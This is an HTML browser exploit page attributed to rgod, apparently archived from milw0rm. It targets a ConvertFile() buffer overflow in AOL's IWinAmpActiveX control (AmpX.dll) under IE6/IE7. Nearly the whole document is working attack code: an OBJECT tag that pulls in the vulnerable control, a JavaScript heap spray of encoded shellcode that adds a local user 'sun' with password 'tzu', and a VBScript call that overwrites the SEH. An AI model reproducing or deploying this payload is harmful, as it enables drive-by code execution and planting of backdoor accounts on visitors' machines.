81 lines
No EOL
4.1 KiB
HTML
81 lines
No EOL
4.1 KiB
HTML
<!--
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AOL IWinAmpActiveX Class (AmpX.dll 2.4.0.6) ConvertFile() remote overflow exploit (IE6/IE7)
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by rgod
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site: http://retrogod.altervista.org/
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Notes by Nine:Situations:Group : an old unreleased one from rgod's archive,
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*not* the same of http://www.kb.cert.org/vuls/id/568681
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*not* the same of http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=623
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(different clsid)
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No one talks about the ConvertFile() method...
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STILL FUCKING WORKSSSSS LOL!!!
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AOL still serves the cab with the vulnerable control!!!
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It seems to me that this is exploited in the wild:
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http://www.google.com/search?q=FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6&hl=en&num=100&filter=0
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details:
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CLSID: {FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6}
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Progid: WinAmpX.IWinAmpActiveX.2
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Binary Path: C:\PROGRA~1\COMMON~1\Nullsoft\ActiveX\2.4\AmpX.dll
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KillBitted: False
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Implements IObjectSafety: True
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Safe For Initialization (IObjectSafety): True
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Safe For Scripting (IObjectSafety): True
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-->
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<HTML>
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<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' width=1 height=1 id='IWinAmpActiveX'
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codebase="http://pdl.stream.aol.com/downloads/aol/unagi/ampx_en_dl.cab">
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</OBJECT>
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<script language='javascript'>
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//add user one, user "sun" pass "tzu"
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shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" +
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"%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" +
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"%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +
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"%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +
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"%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c" +
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"%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f" +
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"%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b" +
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"%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c" +
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"%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871" +
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"%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835" +
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"%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b" +
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"%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b" +
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"%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34" +
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"%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35" +
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"%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550" +
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"%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b" +
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"%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c" +
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"%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943" +
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"%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370" +
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"%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377" +
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"%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630" +
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"%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265" +
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"%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330" +
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"%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574" +
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"%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030" +
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"%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f" +
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"%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e" +
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"%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242" +
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"%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741" +
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"%u7734%u4734%u4570");
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bigblock = unescape("%u0c0c%u0c0c");
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headersize = 20;
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slackspace = headersize+shellcode.length;
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while (bigblock.length<slackspace) bigblock+=bigblock;
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fillblock = bigblock.substring(0, slackspace);
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block = bigblock.substring(0, bigblock.length-slackspace);
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while(block.length+slackspace<0x40000) block = block+block+fillblock;
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memory = new Array();
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for (i=0;i<666;i++){memory[i] = block+shellcode}
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</script>
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<SCRIPT language='VBScript'>
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'first block must set eax to 0xffffffff, the second one overwrites seh
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bof=string(1400,unescape("%ff")) + string(1000,unescape("%0c"))
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IWinAmpActiveX.ConvertFile bof,1,1,1,1,1
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IWinAmpActiveX.ConvertFile bof,1,1,1,1,1
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IWinAmpActiveX.ConvertFile bof,1,1,1,1,1
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IWinAmpActiveX.ConvertFile bof,1,1,1,1,1
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</SCRIPT>
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</HTML>
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# milw0rm.com [2009-05-19] |